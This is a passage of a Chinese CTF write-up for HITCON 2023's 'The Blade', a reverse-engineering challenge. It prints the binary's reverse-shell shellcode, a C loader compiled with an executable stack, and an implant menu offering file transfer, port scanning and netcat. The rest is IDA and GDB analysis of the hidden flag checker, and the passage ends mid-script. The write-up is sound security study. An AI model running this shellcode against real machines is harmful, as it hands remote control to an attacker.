HITCON-CTF-2023 Full Chain - The Blade Writeup

kazma 成大資安社 創辦人/社長

HITCON-CTF-2023 - Full Chain - The Blade

Description

A Rust tool for executing shellcode in a seccomp environment. Your goal is to pass the hidden flag checker concealed in the binary.
(Hey, this is my first Rust project. Feel free to give me any advice and criticism 😃)

Source

https://github.com/hitconctf/ctf2023.hitcon.org/releases/download/v1.0.0/blade-4c2ff1b60902623f702f0245a6a9ea0e71eeb385

0x1 Initial Reconnaissance

例行檢查:

1
2
└─$ file blade
blade: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0c08e0f6f802d4a18151f338c9aab85e8b8f66d3, for GNU/Linux 4.4.0, with debug_info, not stripped

執行看看:

1
2
3
4
5
6
7
8
9
10
11
12
└─$ ./blade
> test
[-] Unknown command test

Core Commands
=============

Command Description
------- -----------
help Help menu
server Establish C&C server
exit Exit program

可以看到提供三個功能,不過 helpexit 沒什麼特別的,我們試試 server:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
> server
[!] SYS_socket and SYS_connect should be allowed
server> help

Core Commands
=============

Command Description
------- -----------
options List all options
set <option> <value> Set option
run Start server
close Close server
back Back to menu
server> options

Options
=======

Option Value Description
------ ----- -----------
host 127.0.0.1 Server host
port 4444 Server port
format quoted Shellcode format
read_syscall SYS_read Read syscall


Available Syscalls
==================

Verb Syscalls
---- --------
read_syscall SYS_read, SYS_recvfrom

Shellcode Formats
==================

Format Example
------- -------
quoted "\xde\xad\xbe\xef"
hex deadbeef

看起來這個 server 模式就是剛剛題目敘述提到的 seccomp environment,並且可以設定一些相關參數。
Start server 看看:

1
2
3
4
5
6
7
└─$ ./blade
> server
[!] SYS_socket and SYS_connect should be allowed
server> run
[*] Run the following shellcode on the victim server:
"\xeb\x10\x31\xc0\x53\x5f\x49\x8d\x77\x10\x48\x31\xd2\x80\xc2\xff\x0f\x05\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x50\x5b\x48\x97\x68\x7f\x00\x00\x01\x66\x68\x11\x5c\x66\x6a\x02\x54\x5e\xb2\x10\xb0\x2a\x0f\x05\x4c\x8d\x3d\xc5\xff\xff\xff\x41\xff\xe7"
[*] Waiting for connection on 127.0.0.1:4444

Start 之後可以看到他要我們在受害者的電腦上執行一段 shellcode,然後在 127.0.0.1:4444 有服務等待連接。
直接 nc 上去執行指令會噴一堆亂碼,然後還會卡住,感覺不太像是正常的交互,我在同一個資料夾下面建一個 shellcode.c 來執行這段 shellcode,注意在 compile 的時候要關掉 NX:

1
2
3
4
5
int main(){
unsigned char shellcode[] = "\xeb\x10\x31\xc0\x53\x5f\x49\x8d\x77\x10\x48\x31\xd2\x80\xc2\xff\x0f\x05\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x50\x5b\x48\x97\x68\x7f\x00\x00\x01\x66\x68\x11\x5c\x66\x6a\x02\x54\x5e\xb2\x10\xb0\x2a\x0f\x05\x4c\x8d\x3d\xc5\xff\xff\xff\x41\xff\xe7";
((void (*)())(shellcode))();
}
// gcc shellcode.c -o shellcode -z execstack

執行後就會拿到 reverse shell 了,指令也都可以正常執行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
└─$ ./blade
> server
[!] SYS_socket and SYS_connect should be allowed
server> run
[*] Run the following shellcode on the victim server:
"\xeb\x10\x31\xc0\x53\x5f\x49\x8d\x77\x10\x48\x31\xd2\x80\xc2\xff\x0f\x05\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x50\x5b\x48\x97\x68\x7f\x00\x00\x01\x66\x68\x11\x5c\x66\x6a\x02\x54\x5e\xb2\x10\xb0\x2a\x0f\x05\x4c\x8d\x3d\xc5\xff\xff\xff\x41\xff\xe7"
[*] Waiting for connection on 127.0.0.1:4444
[+] Connection established from 127.0.0.1:43654
$ test
[-] Unknown command 'test'

Core Commands
=============

Command Description Syscalls
------- ------- -----------
help Print This Menu N/A
ls [DIR] List Directory SYS_open, SYS_getdents
dir [DIR] List Directory SYS_open, SYS_getdents
cat <FILE> Print File Content SYS_open, SYS_close
cd <DIR> Change Directory SYS_chdir
pwd Print Current Directory SYS_getcwd
download <FILE> Download File SYS_open, SYS_close
upload <FILE> [PERM] Upload File SYS_open, SYS_close
rm <FILE> Remove File SYS_unlink
mv <SOURCE> <DEST> Move File SYS_rename
cp <SOURCE> <DEST> [PERM] Copy File SYS_open, SYS_close
mkdir <DIR> [PERM] Create a Directory SYS_mkdir
rmdir <DIR> Remove a Directory SYS_rmdir
getuid Get Current UID SYS_getuid
getgid Get Current GID SYS_getgid
portscan Scan Ports on localhost SYS_socket, SYS_setsockopt, SYS_connect, SYS_close
netcat <INPUT_FILE> <Port> Send Data in the Input File to Port SYS_socket, SYS_setsockopt, SYS_connect, SYS_close
and Receive Output
http-shell HTTP Interactive Shell SYS_socket, SYS_setsockopt, SYS_connect, SYS_close
redis-cli Simple Redis Client SYS_socket, SYS_setsockopt, SYS_connect, SYS_close
exit Exit shell N/A
quit Exit shell N/A

$ ls
[+] Listing directory '.'
shellcode.c
blade
shellcode
.
..
$

看了 menu 之後沒看到任何跟 flag checker 有關的指令,我們再回憶一下題目敘述:

Your goal is to pass the hidden flag checker concealed in the binary.

上面的翻譯是:該開 IDA 了 XD

0x2 Reverse Engineering

丟進 IDA 後在 Function name 逛了一下後會看到剛剛 server 模式的那些指令,而這邊函式名前綴為 seccomp_shell 也符合我們的猜測,其中有個可疑的 verify() 函式,感覺蠻可能跟 flag checker 有關聯:
verify
但分析 verify() 前,我們先找到呼叫 verify() 的地方,這樣方便我們透過傳入的參數去推理逆向,也有機會找到他用來檢查 flag 的指令,那 prompt() 感覺就是在做管理整個 seccomp_shell 之類的功能,我們從這裡先開始分析。

prompt()

void ***__fastcall seccomp_shell::shell::prompt::h76cecfe7bd3bdf50(__int64 a1)
接收了一個參數應該就是指令,我們重新命名整理一下:
a1 -> inputCommand
接著發現指令呼叫時傳入的第一個參數都是 v162,而且 v162 就是剛剛的 a1,所以給他個新名字:
v162 -> commandString
再來就大概花了億點時間在尋找用來觸發 verify() 的指令,看了很久都沒啥進展的同時決定出門吃個晚餐,回來發現學長把電腦重開機(RDP 到社團的公共電腦),IDA 只好重新解一次,沒想到解完後就正常多了,如下:
flag
看到這次他把他解成 switch,然後 case 看起來像是 ASCII 的字串,對字串按 r 之後可以看到 little endian 的 flagexitquit 等指令,測試一下 flag 指令:

1
2
$ flag hitcon{flag}
[-] Incorrect

看起來很對,差不多該分析 verify() 了。

verify()

  1. 一進去就會看到可能是在檢查 flag 長度的判斷式:
    1
    2
    3
    4
    5
    if ( len != 64 )
    {
    _$LT$alloc..boxed..Box$LT$dyn$u20$core..error..Error$GT$$u20$as$u20$core..convert..From$LT$$RF$str$GT$$GT$::from::hc50629fd4c285201();
    return v72;
    }
  2. 接著是一些不太重要的變數,這裡它把 flag 切成三段:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    commandString = command;
    _rust_alloc();
    if ( !flag_copy )
    alloc::alloc::handle_alloc_error::hd36006f171acb99e();
    flag_copy2 = flag_copy;
    flag_ptr = *flag;
    flag_part1 = flag[1];
    flag_part2 = flag[2];
    flag_copy[3] = flag[3];
    flag_copy[2] = flag_part2;
    flag_copy[1] = flag_part1;
    *flag_copy = flag_ptr;
    flag_copy3 = flag_copy;
    v88 = 64LL;
    v89 = 64LL;
  3. 再來包含一個重複 256 次的外部循環,內部由八個一樣的子循環組成,子循環會以 dest 做為映射表,對 flag 內的字符進行交換操作,並且過程是由 flag 的尾部進行到頭部。
    此外 core::panicking::panic_bounds_check::h7d0e683548e4cb10()是 rust 編譯器引入的一種錯誤處理機制,用來防止索引訪問越界。
    整理過後,結構大致如下:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
      loop_count = 0;
    do
    {
    ++loop_count;
    // 打亂 flag,並重複八次
    memcpy(dest, "/", 0x200uLL);
    flag_index_from_tail = 64LL;
    dest_index = (__int64 *)dest + 1;
    do
    {
    dest_value1 = *(dest_index - 1);
    // swap
    if ( dest_value1 >= 64
    || (temp1_1 = *((_BYTE *)flag_copy2 + flag_index_from_tail - 1),
    *((_BYTE *)flag_copy2 + flag_index_from_tail - 1) = *((_BYTE *)flag_copy2 + dest_value1),
    *((_BYTE *)flag_copy2 + dest_value1) = temp1_1,
    dest_value2 = *dest_index,
    (unsigned __int64)*dest_index > 0x3F) )
    {
    LABEL_53:
    core::panicking::panic_bounds_check::h7d0e683548e4cb10();
    }
    // swap
    temp1_2 = *((_BYTE *)flag_copy2 + flag_index_from_tail - 2);
    *((_BYTE *)flag_copy2 + flag_index_from_tail - 2) = *((_BYTE *)flag_copy2 + dest_value2);
    *((_BYTE *)flag_copy2 + dest_value2) = temp1_2;
    dest_index += 2;
    flag_index_from_tail -= 2LL;
    }
    while ( flag_index_from_tail );
  4. 打亂 flag 後會接一個按位加密的邏輯:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
      // 按位加密
    current_index = 0LL;
    do
    {
    currentValuePlusOne = *((unsigned __int8 *)flag_copy2 + current_index) + 1;
    LOWORD(intermediateValue) = 1;
    LOWORD(current_index2) = 257;
    tempResult = 0;
    do
    {
    current_index3 = current_index2;
    LOWORD(current_index2) = (unsigned __int16)current_index2 / (unsigned __int16)currentValuePlusOne;
    modResult = current_index3 % (unsigned __int16)currentValuePlusOne;
    tempCalculation = intermediateValue;
    intermediateValue = tempResult - (_DWORD)intermediateValue * (_DWORD)current_index2;
    LODWORD(current_index2) = currentValuePlusOne;
    currentValuePlusOne = (unsigned __int16)(current_index3 % (unsigned __int16)currentValuePlusOne);
    tempResult = tempCalculation;
    }
    while ( modResult );
    finalAdjustment = 0;
    if ( (__int16)tempCalculation > 0 )
    finalAdjustment = tempCalculation;
    finalResult = (unsigned __int16)(finalAdjustment + ((__int16)tempCalculation >> 15) - tempCalculation) / 0x101u
    + tempCalculation
    + ((unsigned __int16)tempCalculation >> 15);
    LOBYTE(finalResult) = ((unsigned __int16)(finalAdjustment + ((__int16)tempCalculation >> 15) - tempCalculation)
    / 0x101u
    + tempCalculation
    + ((unsigned __int16)tempCalculation >> 15)
    + 113) ^ 0x89;
    *((_BYTE *)flag_copy2 + current_index) = finalResult;
    current_index2 = current_index + 1;
    current_index = current_index2;
    }
    while ( current_index2 != 64 ); // flag 長度
    }
    while ( loop_count != 256 );
  5. 寫了 255 個 bytes 到一塊新的空間還有寫 64 個 bytes 到 dest,後面還有一些 TCP 的交互,但具體還看不出來在幹嘛:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
// 分配 255 字節的內存
allocatedMemory = (void *)alloc::raw_vec::RawVec$LT$T$C$A$GT$::allocate_in::h9362616e9151d1f3(
255LL,
0LL,
finalResult,
64LL,
tempCalculation,
intermediateValue);
tempResult1 = tempResult3;
// 把某段資料拷貝到剛剛的內存
memcpy(allocatedMemory, &unk_62B2B, 0xFFuLL);
memoryBuffer = allocatedMemory;
tempResult2 = tempResult1;
dataLength1 = 255LL;
alloc::vec::Vec$LT$T$C$A$GT$::resize::h7362553f00beaec8(&memoryBuffer, 255LL, 0LL);
if ( *(_DWORD *)(commandString + 16) == -1 )
core::panicking::panic::h65157a6ac7f1357a();
commandOffset = commandString + 16;
// 寫 64 bytes 到 dest
dest[0] = xmmword_60010;
dest[1] = xmmword_60020;
dest[2] = xmmword_60030;
dest[3] = xmmword_60040;
dataLength = dataLength1;
// 根據不同的 dataLength 執行不同的邏輯
if ( dataLength1 < 0xCD )
goto LABEL_74;
memoryBuffer1 = memoryBuffer;
memoryBuffer[204] = *(_BYTE *)flag_copy2;
if ( dataLength < 0xE0
|| (memoryBuffer1[223] = -89, memoryBuffer1[205] = *((_BYTE *)flag_copy2 + 1), dataLength == 224)
|| (memoryBuffer1[224] = 81, memoryBuffer1[206] = *((_BYTE *)flag_copy2 + 2), dataLength < 0xE2)
|| (memoryBuffer1[225] = 104, memoryBuffer1[207] = *((_BYTE *)flag_copy2 + 3), dataLength == 226) )
{
LABEL_74:
core::panicking::panic_bounds_check::h7d0e683548e4cb10();
}
memoryBuffer1[226] = 82;
// 透過 tcp 發送數據
_$LT$$RF$std..net..tcp..TcpStream$u20$as$u20$std..io..Write$GT$::write::h0bbfc2d1fa700c7a();
if ( readBuffer[0] )
{
LABEL_50:
// 讀取狀態有錯時,進行錯誤處理
errorResponse = _$LT$alloc..boxed..Box$LT$dyn$u20$core..error..Error$GT$$u20$as$u20$core..convert..From$LT$E$GT$$GT$::from::ha6d5ca9d25f6de13(readBuffer[1]);
LABEL_71:
errorResponse1 = errorResponse;
if ( tempResult2 )
_rust_dealloc();
_rust_dealloc();
return errorResponse1;
}
readBuffer[0] = 0LL;
// 正常情況下的數據操作
readResult = std::io::default_read_exact::h61fb53e2a02eb302(&commandOffset, readBuffer, 8LL);
if ( readResult )
{
LABEL_55:
errorResponse = _$LT$alloc..boxed..Box$LT$dyn$u20$core..error..Error$GT$$u20$as$u20$core..convert..From$LT$E$GT$$GT$::from::ha6d5ca9d25f6de13(readResult);
goto LABEL_71;
}
if ( !readBuffer[0] )
{
LABEL_70:
// 讀取狀態正常,但是數據不符合預期,進行錯誤處理
_$LT$alloc..boxed..Box$LT$dyn$u20$core..error..Error$GT$$u20$as$u20$core..convert..From$LT$$RF$str$GT$$GT$::from::hc50629fd4c285201();
goto LABEL_71;
}
dataOffset = 4LL;
do
{
dataLength2 = dataLength1;
if ( dataLength1 < 0xCD )
goto LABEL_74;
tempKeyPart = *(_DWORD *)((char *)dest + dataOffset);
memoryBuffer2 = memoryBuffer;
memoryBuffer[204] = *((_BYTE *)flag_copy2 + dataOffset);
if ( dataLength2 < 0xE0 )
goto LABEL_74;
memoryBuffer2[223] = tempKeyPart;
memoryBuffer2[205] = *((_BYTE *)flag_copy2 + dataOffset + 1);
if ( dataLength2 == 224 )
goto LABEL_74;
memoryBuffer2[224] = BYTE1(tempKeyPart);
memoryBuffer2[206] = *((_BYTE *)flag_copy2 + dataOffset + 2);
if ( dataLength2 < 0xE2 )
goto LABEL_74;
memoryBuffer2[225] = BYTE2(tempKeyPart);
memoryBuffer2[207] = *((_BYTE *)flag_copy2 + dataOffset + 3);
if ( dataLength2 == 226 )
goto LABEL_74;
memoryBuffer2[226] = HIBYTE(tempKeyPart);
_$LT$$RF$std..net..tcp..TcpStream$u20$as$u20$std..io..Write$GT$::write::h0bbfc2d1fa700c7a();
if ( readBuffer[0] )
goto LABEL_50;
readBuffer[0] = 0LL;
readResult = std::io::default_read_exact::h61fb53e2a02eb302(&commandOffset, readBuffer, 8LL);
if ( readResult )
goto LABEL_55;
if ( !readBuffer[0] )
goto LABEL_70;
iterationValid = (unsigned __int64)(dataOffset + 1) <= 0x3C;
dataOffset += 4LL;
}
while ( iterationValid );
// 釋放資源
if ( tempResult2 )
_rust_dealloc();
_rust_dealloc();
return 0LL;
}

0x3 Exploitation

  1. 首先是要搞清楚打亂順序,這部分可以透過直接比較指定輸入和動態分析打亂結果來得知映射表:
  • 先紀錄 verify() 的 symbol:

從 IDA 看

1
2
3
; __int64 __fastcall seccomp_shell::shell::verify::h898bf5fa26dafbab(__int64 command, __int128 *flag, __int64 len)
.text:0000000000012C70 _ZN13seccomp_shell5shell6verify17h898bf5fa26dafbabE proc near
.text:0000000000012C70 ; CODE XREF: seccomp_shell::shell::prompt::h76cecfe7bd3bdf50+E30↓p

用 objdump 也行:

1
2
3
4
5
6
7
└─$ objdump -d ./blade | grep verify
0000000000012c70 <_ZN13seccomp_shell5shell6verify17h898bf5fa26dafbabE>:
12c85: 0f 85 6e 05 00 00 jne 131f9 <_ZN13seccomp_shell5shell6verify17h898bf5fa26dafbabE+0x589>
12cb0: 0f 84 be 07 00 00 je 13474 <_ZN13seccomp_shell5shell6verify17h898bf5fa26dafbabE+0x804>
12d38: 0f 83 eb 04 00 00 jae 13229 <_ZN13seccomp_shell5shell6verify17h898bf5fa26dafbabE+0x5b9>
12d56: 0f 87 cd 04 00 00 ja 13229 <_ZN13seccomp_shell5shell6verify17h898bf5fa26dafbabE+0x5b9>
...

_ZN13seccomp_shell5shell6verify17h898bf5fa26dafbabE

  • 下斷點:

斷點下的位置要選在八個換位子循環後,按位加密前,之後我們會再模擬重複 256 次

1
2
3
4
5
6
7
8
9
.text:0000000000012FFC                 movzx   edx, byte ptr [rbx+rax-2]
.text:0000000000013001 movzx esi, byte ptr [rbx+rdi]
.text:0000000000013005 mov [rbx+rax-2], sil
.text:000000000001300A mov [rbx+rdi], dl
.text:000000000001300D add rcx, 10h
.text:0000000000013011 add rax, 0FFFFFFFFFFFFFFFEh
.text:0000000000013015 jnz short loc_12FD0
.text:0000000000013017 xor ecx, ecx
.text:0000000000013019 nop dword ptr [rax+00000000h]
1
2
3
4
5
6
7
8
9
10
  if ( (unsigned __int64)*v53 > 0x3F )
goto LABEL_53;
v57 = *((_BYTE *)flag_copy2 + current_index2 - 2);
*((_BYTE *)flag_copy2 + current_index2 - 2) = *((_BYTE *)flag_copy2 + v56);
*((_BYTE *)flag_copy2 + v56) = v57;
v53 += 2;
current_index2 -= 2LL;
}
while ( current_index2 );
current_index = 0LL;

這邊選 xor ecx, ecx,也就是 current_index 歸零的地方,IDA 可以看到位址是 seccomp_shell::shell::verify::h898bf5fa26dafbab + 3A7,flag 的位置從前幾行可以得知在 $rbx。

  • GDB 看打亂順序,輸入 1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{} (10 + 26 + 26 + 2 = 64) 觀察,擷取重要部份如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
└─$ gdb -q ./blade
gef➤ starti
gef➤ break *_ZN13seccomp_shell5shell6verify17h898bf5fa26dafbabE + 0x3A7
Breakpoint 1 at 0x555555567017
gef➤ c
Continuing.
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
> server
[!] SYS_socket and SYS_connect should be allowed
server> run
[*] Run the following shellcode on the victim server:
"\xeb\x10\x31\xc0\x53\x5f\x49\x8d\x77\x10\x48\x31\xd2\x80\xc2\xff\x0f\x05\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x50\x5b\x48\x97\x68\x7f\x00\x00\x01\x66\x68\x11\x5c\x66\x6a\x02\x54\x5e\xb2\x10\xb0\x2a\x0f\x05\x4c\x8d\x3d\xc5\xff\xff\xff\x41\xff\xe7"
[*] Waiting for connection on 127.0.0.1:4444
# ./shellcode
[+] Connection established from 127.0.0.1:33568
$ flag 1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}

Breakpoint 1, 0x0000555555567017 in seccomp_shell::shell::verify::h898bf5fa26dafbab ()
gef➤ x/s $rbx
0x5555555d63e0: "HfVl{qPcCYNMoRi7D8Jr}espOL4FhwdWAtTGZba5Ugjvnx2QkKE3IS0yuz6BX19m"
  • 用 python 字典建立映射表和反映射表:
    1
    2
    3
    4
    5
    6
    7
    import string

    original = '1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}'
    shuffled = 'HfVl{qPcCYNMoRi7D8Jr}espOL4FhwdWAtTGZba5Ugjvnx2QkKE3IS0yuz6BX19m'

    char_to_shuffled_map = {c: shuffled[i] for i, c in enumerate(original)}
    suffled_to_char_map = {shuffled[i]: c for i, c in enumerate(original)
  1. 再來要建立按位加密的映射表:
  • 下斷點:

斷點這次會下在按位加密後,外部循環前,從 IDA 左側的虛線可以很方便地去判斷迴圈架構:

enc
選擇下在 cmp r13d, 100h 的位置,也就是 seccomp_shell::shell::verify::h898bf5fa26dafbab + 42E

  • GDB 動態分析:
    操作大部分和前面類似,值得一題的是加密後的 flag 會有不可視字元,所以這裡換成十六進位顯示:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    └─$ gdb -q ./blade
    gef➤ starti
    gef➤ break *_ZN13seccomp_shell5shell6verify17h898bf5fa26dafbabE + 0x42E
    Breakpoint 1 at 0x55555556709e
    gef➤ continue
    Continuing.
    > server
    [!] SYS_socket and SYS_connect should be allowed
    server> run
    [*] Run the following shellcode on the victim server:
    "\xeb\x10\x31\xc0\x53\x5f\x49\x8d\x77\x10\x48\x31\xd2\x80\xc2\xff\x0f\x05\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x50\x5b\x48\x97\x68\x7f\x00\x00\x01\x66\x68\x11\x5c\x66\x6a\x02\x54\x5e\xb2\x10\xb0\x2a\x0f\x05\x4c\x8d\x3d\xc5\xff\xff\xff\x41\xff\xe7"
    [*] Waiting for connection on 127.0.0.1:4444
    # ./shellcode
    [+] Connection established from 127.0.0.1:56514
    $ flag 1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}

    Breakpoint 1, 0x000055555556709e in seccomp_shell::shell::verify::h898bf5fa26dafbab ()
    gef➤ x/s $rbx
    0x5555555d63e0: "\223\377;\330jd\237\n\331\f\354\263\302X\253\255\217", <incomplete sequence \340>
    gef➤ x/64xb $rbx
    0x5555555d63e0: 0x93 0xff 0x3b 0xd8 0x6a 0x64 0x9f 0x0a
    0x5555555d63e8: 0xd9 0x0c 0xec 0xb3 0xc2 0x58 0xab 0xad
    0x5555555d63f0: 0x8f 0xe0 0x00 0x1e 0x2d 0x39 0x6b 0x6c
    0x5555555d63f8: 0x81 0xe1 0x5b 0xaf 0x9c 0x09 0x04 0xa0
    0x5555555d6400: 0x32 0x7e 0x79 0x03 0xcb 0x71 0x75 0x61
    0x5555555d6408: 0xfd 0xc1 0xef 0x2e 0x14 0x0b 0x66 0xca
    0x5555555d6410: 0xa4 0xa2 0xee 0x97 0x3a 0xb7 0x0f 0x86
    0x5555555d6418: 0x99 0x74 0xed 0xd2 0x02 0x1c 0xda 0xe2
    拿到加密的映射表了,但只有一部分。我們可以透過 GDB 的功能直接設定換位後加密前的 flag 為特定的值,然後重複直到建立完整的映射表,其中設特定值的部分也可以用 GDB 的 python API 來協助完成,做法如下:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    gef➤  break *_ZN13seccomp_shell5shell6verify17h898bf5fa26dafbabE + 0x3A7
    Breakpoint 1 at 0x555555567017
    gef➤ break *_ZN13seccomp_shell5shell6verify17h898bf5fa26dafbabE + 0x42E
    Breakpoint 2 at 0x55555556709e
    gef➤ python
    >start_addr = gdb.parse_and_eval("$rbx")
    >bytes_to_write = bytes(range(64))
    >gdb.selected_inferior().write_memory(start_addr, bytes_to_write)
    >end
    gef➤ x/64xb $rbx
    0x5555555d63e0: 0x00 0x01 0x02 0x03 0x04 0x05 0x06 0x07
    0x5555555d63e8: 0x08 0x09 0x0a 0x0b 0x0c 0x0d 0x0e 0x0f
    0x5555555d63f0: 0x10 0x11 0x12 0x13 0x14 0x15 0x16 0x17
    0x5555555d63f8: 0x18 0x19 0x1a 0x1b 0x1c 0x1d 0x1e 0x1f
    0x5555555d6400: 0x20 0x21 0x22 0x23 0x24 0x25 0x26 0x27
    0x5555555d6408: 0x28 0x29 0x2a 0x2b 0x2c 0x2d 0x2e 0x2f
    0x5555555d6410: 0x30 0x31 0x32 0x33 0x34 0x35 0x36 0x37
    0x5555555d6418: 0x38 0x39 0x3a 0x3b 0x3c 0x3d 0x3e 0x3f
    gef➤ continue
    Continuing.

    Breakpoint 2, 0x000055555556709e in seccomp_shell::shell::verify::h898bf5fa26dafbab ()
    gef➤ x/64xb $rbx
    0x5555555d63e0: 0xfb 0x7b 0x4e 0xbb 0x51 0x15 0x8d 0xdb
    0x5555555d63e8: 0xb0 0xac 0xa5 0x8e 0xaa 0xb2 0x60 0xeb
    0x5555555d63f0: 0x63 0x5c 0xde 0x42 0x2b 0xc6 0xa6 0x35
    0x5555555d63f8: 0x30 0x43 0xd6 0x5f 0xbd 0x24 0xb1 0xe3
    0x5555555d6400: 0x8c 0xa7 0xd5 0x2a 0x7c 0x6d 0x8b 0x17
    0x5555555d6408: 0x9d 0x83 0xfe 0x69 0x10 0x59 0xa9 0x9e
    0x5555555d6410: 0x0f 0x1c 0x66 0x97 0x5b 0x61 0xed 0xad
    0x5555555d6418: 0xe0 0xda 0x27 0x06 0x25 0xdc 0x5e 0xe7
    上面的操作重複 256/64 = 4 次即可得到完整的加密映射表,用 python 來協助我們 parse string 還有建立映射:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    plain_string = """
    0x5555555d63e0: 0x00 0x01 0x02 0x03 0x04 0x05 0x06 0x07
    0x5555555d63e8: 0x08 0x09 0x0a 0x0b 0x0c 0x0d 0x0e 0x0f
    0x5555555d63f0: 0x10 0x11 0x12 0x13 0x14 0x15 0x16 0x17
    0x5555555d63f8: 0x18 0x19 0x1a 0x1b 0x1c 0x1d 0x1e 0x1f
    0x5555555d6400: 0x20 0x21 0x22 0x23 0x24 0x25 0x26 0x27
    0x5555555d6408: 0x28 0x29 0x2a 0x2b 0x2c 0x2d 0x2e 0x2f
    0x5555555d6410: 0x30 0x31 0x32 0x33 0x34 0x35 0x36 0x37
    0x5555555d6418: 0x38 0x39 0x3a 0x3b 0x3c 0x3d 0x3e 0x3f

    0x5555555d63e0: 0x40 0x41 0x42 0x43 0x44 0x45 0x46 0x47
    0x5555555d63e8: 0x48 0x49 0x4a 0x4b 0x4c 0x4d 0x4e 0x4f
    0x5555555d63f0: 0x50 0x51 0x52 0x53 0x54 0x55 0x56 0x57
    0x5555555d63f8: 0x58 0x59 0x5a 0x5b 0x5c 0x5d 0x5e 0x5f
    0x5555555d6400: 0x60 0x61 0x62 0x63 0x64 0x65 0x66 0x67
    0x5555555d6408: 0x68 0x69 0x6a 0x6b 0x6c 0x6d 0x6e 0x6f
    0x5555555d6410: 0x70 0x71 0x72 0x73 0x74 0x75 0x76 0x77
    0x5555555d6418: 0x78 0x79 0x7a 0x7b 0x7c 0x7d 0x7e 0x7f

    0x5555555d63e0: 0x80 0x81 0x82 0x83 0x84 0x85 0x86 0x87
    0x5555555d63e8: 0x88 0x89 0x8a 0x8b 0x8c 0x8d 0x8e 0x8f
    0x5555555d63f0: 0x90 0x91 0x92 0x93 0x94 0x95 0x96 0x97
    0x5555555d63f8: 0x98 0x99 0x9a 0x9b 0x9c 0x9d 0x9e 0x9f
    0x5555555d6400: 0xa0 0xa1 0xa2 0xa3 0xa4 0xa5 0xa6 0xa7
    0x5555555d6408: 0xa8 0xa9 0xaa 0xab 0xac 0xad 0xae 0xaf
    0x5555555d6410: 0xb0 0xb1 0xb2 0xb3 0xb4 0xb5 0xb6 0xb7
    0x5555555d6418: 0xb8 0xb9 0xba 0xbb 0xbc 0xbd 0xbe 0xbf

    0x5555555d63e0: 0xc0 0xc1 0xc2 0xc3 0xc4 0xc5 0xc6 0xc7
    0x5555555d63e8: 0xc8 0xc9 0xca 0xcb 0xcc 0xcd 0xce 0xcf
    0x5555555d63f0: 0xd0 0xd1 0xd2 0xd3 0xd4 0xd5 0xd6 0xd7
    0x5555555d63f8: 0xd8 0xd9 0xda 0xdb 0xdc 0xdd 0xde 0xdf
    0x5555555d6400: 0xe0 0xe1 0xe2 0xe3 0xe4 0xe5 0xe6 0xe7
    0x5555555d6408: 0xe8 0xe9 0xea 0xeb 0xec 0xed 0xee 0xef
    0x5555555d6410: 0xf0 0xf1 0xf2 0xf3 0xf4 0xf5 0xf6 0xf7
    0x5555555d6418: 0xf8 0xf9 0xfa 0xfb 0xfc 0xfd 0xfe 0xff
    """

    encrypted_string = """
    0x5555555d63e0: 0xfb 0x7b 0x4e 0xbb 0x51 0x15 0x8d 0xdb
    0x5555555d63e8: 0xb0 0xac 0xa5 0x8e 0xaa 0xb2 0x60 0xeb
    0x5555555d63f0: 0x63 0x5c 0xde 0x42 0x2b 0xc6 0xa6 0x35
    0x5555555d63f8: 0x30 0x43 0xd6 0x5f 0xbd 0x24 0xb1 0xe3
